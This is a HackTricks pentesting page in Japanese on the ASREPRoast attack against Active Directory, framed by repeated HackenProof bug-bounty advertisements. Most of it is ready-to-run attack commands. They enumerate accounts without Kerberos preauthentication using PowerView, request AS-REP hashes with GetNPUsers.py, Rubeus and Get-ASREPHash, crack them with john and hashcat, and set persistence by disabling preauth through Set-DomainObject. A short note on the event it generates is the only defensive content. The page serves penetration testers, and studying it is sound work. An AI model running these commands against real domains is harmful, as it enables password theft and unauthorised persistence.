hacktricks/windows-hardening/active-directory-methodology/asreproast.md

8.3 KiB
Raw Blame History

ASREPRoast

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProofはすべての暗号バグバウンティの場所です。

遅延なしで報酬を受け取る
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。

web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです上昇期のweb3セキュリティをマスターしましょう。

web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。

HackenProofでサインアップしてハッキングから報酬を得ましょう!

{% embed url="https://hackenproof.com/register" %}

ASREPRoast

ASREPRoast攻撃は、Kerberosの事前認証が必要な属性DONT_REQ_PREAUTH_)を持たないユーザー**を探します。

つまり、これらのユーザーのいずれかを代表してDCにAS_REQリクエストを送信し、AS_REPメッセージを受け取ることができます。この最後のメッセージには、パスワードから派生した元のユーザーキーで暗号化されたデータのチャンクが含まれています。その後、このメッセージを使用して、ユーザーパスワードをオフラインでクラックすることができます。

さらに、この攻撃を実行するためにはドメインアカウントは必要ありません。DCへの接続のみが必要です。ただし、ドメインアカウントがある場合、ドメイン内のKerberosの事前認証が必要なユーザーを取得するためにLDAPクエリを使用できます。それ以外の場合はユーザー名を推測する必要があります

脆弱なユーザーの列挙(ドメインの資格情報が必要)

Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView

AS_REPメッセージのリクエスト

{% code title="Linuxを使用する場合" %}

#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

{% code title="Windowsを使用する" %}

.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

{% endcode %}

{% hint style="warning" %} Rubeusを使用したAS-REP Roastingは、暗号化タイプ0x17および事前認証タイプ0の4768を生成します。 {% endhint %}

クラッキング

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

持続性

GenericAll 権限(またはプロパティを書き込む権限)を持つユーザーに対して、preauth の強制は必要ありません。

Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose

参考文献

AS-REP Roastingについての詳細情報は、ired.teamを参照してください

HackenProofはすべての暗号バグバウンティの場所です。

遅延なしで報酬を受け取る
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。

Web3ペントestingの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです成長するWeb3セキュリティをマスターしましょう。

Web3ハッカーレジェンドになる
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。

HackenProofでサインアップしてハッキングから報酬を得ましょう!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥